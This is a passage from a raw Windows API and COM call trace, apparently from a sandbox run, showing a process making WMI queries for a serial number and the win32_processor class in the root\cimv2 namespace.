Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce6d8 | out: ppvObject=0x3ce6d8*=0x5992fc) returned 0x0 [0189.252] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3ce708 | out: pAptType=0x3ce708*=3) returned 0x0 [0189.252] IUnknown:Release (This=0x5992fc) returned 0x1 [0189.252] CoGetContextToken (in: pToken=0x3ce6d8 | out: pToken=0x3ce6d8) returned 0x0 [0189.253] CoGetContextToken (in: pToken=0x3ceaa4 | out: pToken=0x3ceaa4) returned 0x0 [0189.253] LoadRegTypeLib (in: rguid=0x740c364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x3cea88*=0x0 | out: pptlib=0x3cea88*=0x5de508) returned 0x0 [0189.255] ITypeLib:GetTypeInfoOfGuid (in: This=0x5de508, guid=0x740c55e4, ppTInfo=0x573bdb0 | out: ppTInfo=0x573bdb0*=0x5e00e8) returned 0x0 [0189.255] IUnknown:Release (This=0x5de508) returned 0x6 [0189.255] IUnknown:AddRef (This=0x5e00e8) returned 0x2 [0189.255] DispGetIDsOfNames (in: ptinfo=0x5e00e8, rgszNames=0x3ceb00*="SerialNumber", cNames=0x1, rgdispid=0x3ceaf0 | out: rgdispid=0x3ceaf0*=-1) returned 0x80020006 [0189.260] IUnknown:AddRef (This=0x573d8c0) returned 0x3 [0189.260] IWbemClassObject:Get (in: This=0x573d8c0, wszName="SerialNumber", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x3cea10*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x3cea10*=32) returned 0x0 [0189.260] IUnknown:Release (This=0x573d8c0) returned 0x2 [0189.260] SysStringLen (param_1="SerialNumber") returned 0xc [0189.261] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730a40 [0189.261] SysStringLen (param_1="SerialNumber") returned 0xc [0189.261] IUnknown:Release (This=0x5e00e8) returned 0x1 [0189.261] IUnknown:AddRef (This=0x5e00e8) returned 0x2 [0189.261] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.261] GetCurrentThreadId () returned 0x55c [0189.261] SysStringLen (param_1="SerialNumber") returned 0xc [0189.261] IWbemClassObject:Get (in: This=0x573d8c0, wszName="SerialNumber", lFlags=0, pVal=0x3ce898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3ce8d0, varVal2=0x740c2d81), pType=0x3ce8a8*=1946955142, plFlavor=0x0 | out: pVal=0x3ce898*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3ce8d0, varVal2=0x740c2d81), pType=0x3ce8a8*=8, plFlavor=0x0) returned 0x0 [0189.261] IUnknown:Release (This=0x5e00e8) returned 0x1 [0189.265] CoGetContextToken (in: pToken=0x3ced60 | out: pToken=0x3ced60) returned 0x0 [0189.265] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.265] GetCurrentThreadId () returned 0x55c [0189.265] IUnknown:AddRef (This=0x573d884) returned 0x3 [0189.265] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.265] GetCurrentThreadId () returned 0x55c [0189.265] IEnumWbemClassObject:Next (in: This=0x573d884, lTimeout=-1, uCount=0x1, apObjects=0x3cee98, puReturned=0x3cee90 | out: apObjects=0x3cee98*=0x0, puReturned=0x3cee90*=0x0) returned 0x1 [0189.268] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3cee4c | out: pperrinfo=0x3cee4c*=0x0) returned 0x1 [0189.268] IUnknown:Release (This=0x573d884) returned 0x2 [0189.268] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3cee90 | out: pperrinfo=0x3cee90*=0x0) returned 0x1 [0189.361] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x288 [0189.361] GetLastError () returned 0x0 [0189.363] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x290 [0189.363] GetLastError () returned 0x0 [0189.375] SetEvent (hEvent=0x290) returned 1 [0189.375] GetLastError () returned 0x0 [0189.377] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3ceea0*=0x288, lpdwindex=0x3cec58 | out: lpdwindex=0x3cec58) returned 0x0 [0189.417] CoGetContextToken (in: pToken=0x3cecf0 | out: pToken=0x3cecf0) returned 0x0 [0189.417] CoGetContextToken (in: pToken=0x3cecb0 | out: pToken=0x3cecb0) returned 0x0 [0189.417] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced2c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced28 | out: ppvObject=0x3ced28*=0x573fd10) returned 0x0 [0189.417] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.417] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.418] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c4 [0189.418] GetLastError () returned 0x0 [0189.418] SetEvent (hEvent=0x290) returned 1 [0189.418] GetLastError () returned 0x0 [0189.418] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3ce6c4*=0x2c4, lpdwindex=0x3ce47c | out: lpdwindex=0x3ce47c) returned 0x0 [0189.421] CoGetContextToken (in: pToken=0x3ce514 | out: pToken=0x3ce514) returned 0x0 [0189.421] CoGetContextToken (in: pToken=0x3ce4d4 | out: pToken=0x3ce4d4) returned 0x0 [0189.421] WbemDefPath:IUnknown:AddRef (This=0x573fda8) returned 0x2 [0189.421] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fda8, riid=0x3ce550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ce54c | out: ppvObject=0x3ce54c*=0x573fda8) returned 0x0 [0189.421] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x2 [0189.421] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x1 [0189.427] CoGetContextToken (in: pToken=0x3ce594 | out: pToken=0x3ce594) returned 0x0 [0189.427] CoGetContextToken (in: pToken=0x3ce554 | out: pToken=0x3ce554) returned 0x0 [0189.427] WbemDefPath:IUnknown:AddRef (This=0x573fda8) returned 0x2 [0189.427] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fda8, riid=0x3ce5d0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ce5cc | out: ppvObject=0x3ce5cc*=0x573fda8) returned 0x0 [0189.427] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x2 [0189.427] WbemDefPath:IWbemPath:SetText (This=0x573fda8, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0189.427] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x1 [0189.427] CoGetContextToken (in: pToken=0x3ced70 | out: pToken=0x3ced70) returned 0x0 [0189.427] CoGetContextToken (in: pToken=0x3ced30 | out: pToken=0x3ced30) returned 0x0 [0189.427] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.427] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3cedac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ceda8 | out: ppvObject=0x3ceda8*=0x573fd10) returned 0x0 [0189.427] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.428] WbemDefPath:IWbemPath:SetText (This=0x573fd10, uMode=0x4, pszPath="win32_processor") returned 0x0 [0189.428] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.432] CoGetContextToken (in: pToken=0x3ced5c | out: pToken=0x3ced5c) returned 0x0 [0189.432] CoGetContextToken (in: pToken=0x3ced1c | out: pToken=0x3ced1c) returned 0x0 [0189.432] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced98*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced94 | out: ppvObject=0x3ced94*=0x573fd10) returned 0x0 [0189.433] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573fd10, puCount=0x3cef10 | out: puCount=0x3cef10*=0x0) returned 0x0 [0189.433] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.437] CoGetContextToken (in: pToken=0x3ced4c | out: pToken=0x3ced4c) returned 0x0 [0189.437] CoGetContextToken (in: pToken=0x3ced0c | out: pToken=0x3ced0c) returned 0x0 [0189.437] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced88*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced84 | out: ppvObject=0x3ced84*=0x573fd10) returned 0x0 [0189.437] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.437] WbemDefPath:IWbemPath:GetText (in: This=0x573fd10, lFlags=2, puBuffLength=0x3cef0c*=0x0, pszText=0x0 | out: puBuffLength=0x3cef0c*=0x10, pszText=0x0) returned 0x0 [0189.437] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.437] CoGetContextToken (in: pToken=0x3ced4c | out: pToken=0x3ced4c) returned 0x0 [0189.437] CoGetContextToken (in: pToken=0x3ced0c | out: pToken=0x3ced0c) returned 0x0 [0189.437] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced88*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced84 | out: ppvObject=0x3ced84*=0x573fd10) returned 0x0 [0189.437] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.437] WbemDefPath:IWbemPath:GetText (in: This=0x573fd10, lFlags=2, puBuffLength=0x3cef0c*=0x10, pszText="000000000000000" | out: puBuffLength=0x3cef0c*=0x10, pszText="win32_processor") returned 0x0 [0189.437] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.441] CoGetContextToken (in: pToken=0x3ced60 | out: pToken=0x3ced60) returned 0x0 [0189.441] CoGetContextToken (in: pToken=0x3ced20 | out: pToken=0x3ced20) returned 0x0 [0189.441] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced9c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced98 | out: ppvObject=0x3ced98*=0x573fd10) returned 0x0 [0189.442] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.442] WbemDefPath:IWbemPath:GetInfo (in: This=0x573fd10, uRequestedInfo=0x0, puResponse=0x3cef14 | out: puResponse=0x3cef14*=0xc15) returned 0x0 [0189.442] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.442] CoGetContextToken (in: pToken=0x3ced5c | out: pToken=0x3ced5c) returned 0x0 [0189.442] CoGetContextToken (in: pToken=0x3ced1c | out: pToken=0x3ced1c) returned 0x0 [0189.442] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.442] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced98*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced94 | out: ppvObject=0x3ced94*=0x573fd10) returned 0x0 [0189.442] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573fd10, puCount=0x3cef10 | out: puCount=0x3cef10*=0x0) returned 0x0 [0189.442] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.442] CoGetContextToken (in: pToken=0x3ced60 | out: pToken=0x3ced60) returned 0x0 [0189.442] CoGetContextToken (in: pToken=0x3ced20 | out: pToken=0x3ced20) returned 0x0 [0189.442] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.442] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced9c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced98 | out: ppvObject=0x3ced98*=0x573fd10) returned 0x0 [0189.443] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.443] WbemDefPath:IWbemPath:GetInfo (in: This=0x573fd10, uRequestedInfo=0x0, puResponse=0x3cef14 | out: puResponse=0x3cef14*=0xc15) returned 0x0 [0189.443] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.443] CoGetContextToken (in: pToken=0x3ced50 | out: pToken=0x3ced50) returned 0x0 [0189.443] CoGetContextToken (in: pToken=0x3ced10 | out: pToken=0x3ced10) returned 0x0 [0189.443] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.443] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced8c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced88 | out: ppvObject=0x3ced88*=0x573fd10) returned 0x0 [0189.443] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.443] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573fd10, puCount=0x3cef04 | out: puCount=0x3cef04*=0x0) returned 0x0 [0189.443] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.443] CoGetContextToken (in: pToken=0x3ced40 | out: pToken=0x3ced40) returned 0x0 [0189.443] CoGetContextToken (in: pToken=0x3ced00 | out: pToken=0x3ced00) returned 0x0 [0189.443] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.443] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced7c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced78 | out: ppvObject=0x3ced78*=0x573fd10) returned 0x0 [0189.443] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.443] WbemDefPath:IWbemPath:GetText (in: This=0x573fd10, lFlags=2, puBuffLength=0x3cef00*=0x0, pszText=0x0 | out: puBuffLength=0x3cef00*=0x10, pszText=0x0) returned 0x0 [0189.443] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.444] CoGetContextToken (in: pToken=0x3ced40 | out: pToken=0x3ced40) returned 0x0 [0189.444] CoGetContextToken (in: pToken=0x3ced00 | out: pToken=0x3ced00) returned 0x0 [0189.444] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced7c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced78 | out: ppvObject=0x3ced78*=0x573fd10) returned 0x0 [0189.444] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.444] WbemDefPath:IWbemPath:GetText (in: This=0x573fd10, lFlags=2, puBuffLength=0x3cef00*=0x10, pszText="000000000000000" | out: puBuffLength=0x3cef00*=0x10, pszText="win32_processor") returned 0x0 [0189.444] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.444] CoGetContextToken (in: pToken=0x3ced50 | out: pToken=0x3ced50) returned 0x0 [0189.444] CoGetContextToken (in: pToken=0x3ced10 | out: pToken=0x3ced10) returned 0x0 [0189.444] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced8c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced88 | out: ppvObject=0x3ced88*=0x573fd10) returned 0x0 [0189.444] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.444] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573fd10, puCount=0x3cef04 | out: puCount=0x3cef04*=0x0) returned 0x0 [0189.444] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.444] CoGetContextToken (in: pToken=0x3ced40 | out: pToken=0x3ced40) returned 0x0 [0189.444] CoGetContextToken (in: pToken=0x3ced00 | out: pToken=0x3ced00) returned 0x0 [0189.444] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced7c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced78 | out: ppvObject=0x3ced78*=0x573fd10) returned 0x0 [0189.445] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.445] WbemDefPath:IWbemPath:GetText (in: This=0x573fd10, lFlags=2, puBuffLength=0x3cef00*=0x0, pszText=0x0 | out: puBuffLength=0x3cef00*=0x10, pszText=0x0) returned 0x0 [0189.445] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.445] CoGetContextToken (in: pToken=0x3ced40 | out: pToken=0x3ced40) returned 0x0 [0189.445] CoGetContextToken (in: pToken=0x3ced00 | out: pToken=0x3ced00) returned 0x0 [0189.445] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced7c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced78 | out: ppvObject=0x3ced78*=0x573fd10) returned 0x0 [0189.445] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.445] WbemDefPath:IWbemPath:GetText (in: This=0x573fd10, lFlags=2, puBuffLength=0x3cef00*=0x10, pszText="000000000000000" | out: puBuffLength=0x3cef00*=0x10, pszText="win32_processor") returned 0x0 [0189.445] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.445] CoGetContextToken (in: pToken=0x3cece4 | out: pToken=0x3cece4) returned 0x0 [0189.445] CoGetContextToken (in: pToken=0x3ceca4 | out: pToken=0x3ceca4) returned 0x0 [0189.445] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.446] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3ced20*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced1c | out: ppvObject=0x3ced1c*=0x573fd10) returned 0x0 [0189.446] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.446] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573fd10, puCount=0x3cee98 | out: puCount=0x3cee98*=0x0) returned 0x0 [0189.446] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.447] CoGetContextToken (in: pToken=0x3cecd0 | out: pToken=0x3cecd0) returned 0x0 [0189.447] CoGetContextToken (in: pToken=0x3cec90 | out: pToken=0x3cec90) returned 0x0 [0189.447] WbemDefPath:IUnknown:AddRef (This=0x573fda8) returned 0x2 [0189.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fda8, riid=0x3ced0c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced08 | out: ppvObject=0x3ced08*=0x573fda8) returned 0x0 [0189.447] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x2 [0189.447] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573fda8, puCount=0x3cee84 | out: puCount=0x3cee84*=0x2) returned 0x0 [0189.447] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x1 [0189.447] CoGetContextToken (in: pToken=0x3cecc0 | out: pToken=0x3cecc0) returned 0x0 [0189.447] CoGetContextToken (in: pToken=0x3cec80 | out: pToken=0x3cec80) returned 0x0 [0189.447] WbemDefPath:IUnknown:AddRef (This=0x573fda8) returned 0x2 [0189.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fda8, riid=0x3cecfc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cecf8 | out: ppvObject=0x3cecf8*=0x573fda8) returned 0x0 [0189.447] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x2 [0189.448] WbemDefPath:IWbemPath:GetText (in: This=0x573fda8, lFlags=4, puBuffLength=0x3cee80*=0x0, pszText=0x0 | out: puBuffLength=0x3cee80*=0xf, pszText=0x0) returned 0x0 [0189.448] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x1 [0189.448] CoGetContextToken (in: pToken=0x3cecc0 | out: pToken=0x3cecc0) returned 0x0 [0189.448] CoGetContextToken (in: pToken=0x3cec80 | out: pToken=0x3cec80) returned 0x0 [0189.448] WbemDefPath:IUnknown:AddRef (This=0x573fda8) returned 0x2 [0189.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fda8, riid=0x3cecfc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cecf8 | out: ppvObject=0x3cecf8*=0x573fda8) returned 0x0 [0189.448] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x2 [0189.448] WbemDefPath:IWbemPath:GetText (in: This=0x573fda8, lFlags=4, puBuffLength=0x3cee80*=0xf, pszText="00000000000000" | out: puBuffLength=0x3cee80*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0189.448] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x1 [0189.448] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c8 [0189.448] GetLastError () returned 0x0 [0189.448] SetEvent (hEvent=0x290) returned 1 [0189.448] GetLastError () returned 0x0 [0189.448] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3cede8*=0x2c8, lpdwindex=0x3ceba0 | out: lpdwindex=0x3ceba0) returned 0x0 [0189.451] CoGetContextToken (in: pToken=0x3cec38 | out: pToken=0x3cec38) returned 0x0 [0189.451] CoGetContextToken (in: pToken=0x3cebf8 | out: pToken=0x3cebf8) returned 0x0 [0189.451] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x2 [0189.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3cec74*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cec70 | out: ppvObject=0x3cec70*=0x573daa8) returned 0x0 [0189.451] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.451] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x1 [0189.451] CoGetContextToken (in: pToken=0x3cecb8 | out: pToken=0x3cecb8) returned 0x0 [0189.451] CoGetContextToken (in: pToken=0x3cec78 | out: pToken=0x3cec78) returned 0x0 [0189.451] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x2 [0189.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3cecf4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cecf0 | out: ppvObject=0x3cecf0*=0x573daa8) returned 0x0 [0189.451] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.451] WbemDefPath:IWbemPath:SetText (This=0x573daa8, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0189.451] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x1 [0189.452] CoGetContextToken (in: pToken=0x3ceca8 | out: pToken=0x3ceca8) returned 0x0 [0189.452] CoGetContextToken (in: pToken=0x3cec68 | out: pToken=0x3cec68) returned 0x0 [0189.452] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x2 [0189.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3cece4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cece0 | out: ppvObject=0x3cece0*=0x573daa8) returned 0x0 [0189.452] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.452] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573daa8, puCount=0x3cee5c | out: puCount=0x3cee5c*=0x2) returned 0x0 [0189.452] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x1 [0189.452] CoGetContextToken (in: pToken=0x3cec98 | out: pToken=0x3cec98) returned 0x0 [0189.452] CoGetContextToken (in: pToken=0x3cec58 | out: pToken=0x3cec58) returned 0x0 [0189.452] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x2 [0189.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3cecd4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cecd0 | out: ppvObject=0x3cecd0*=0x573daa8) returned 0x0 [0189.452] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.452] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=4, puBuffLength=0x3cee58*=0x0, pszText=0x0 | out: puBuffLength=0x3cee58*=0xf, pszText=0x0) returned 0x0 [0189.452] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x1 [0189.452] CoGetContextToken (in: pToken=0x3cec98 | out: pToken=0x3cec98) returned 0x0 [0189.452] CoGetContextToken (in: pToken=0x3cec58 | out: pToken=0x3cec58) returned 0x0 [0189.452] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x2 [0189.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3cecd4*(Data1=0x3bc15af2, 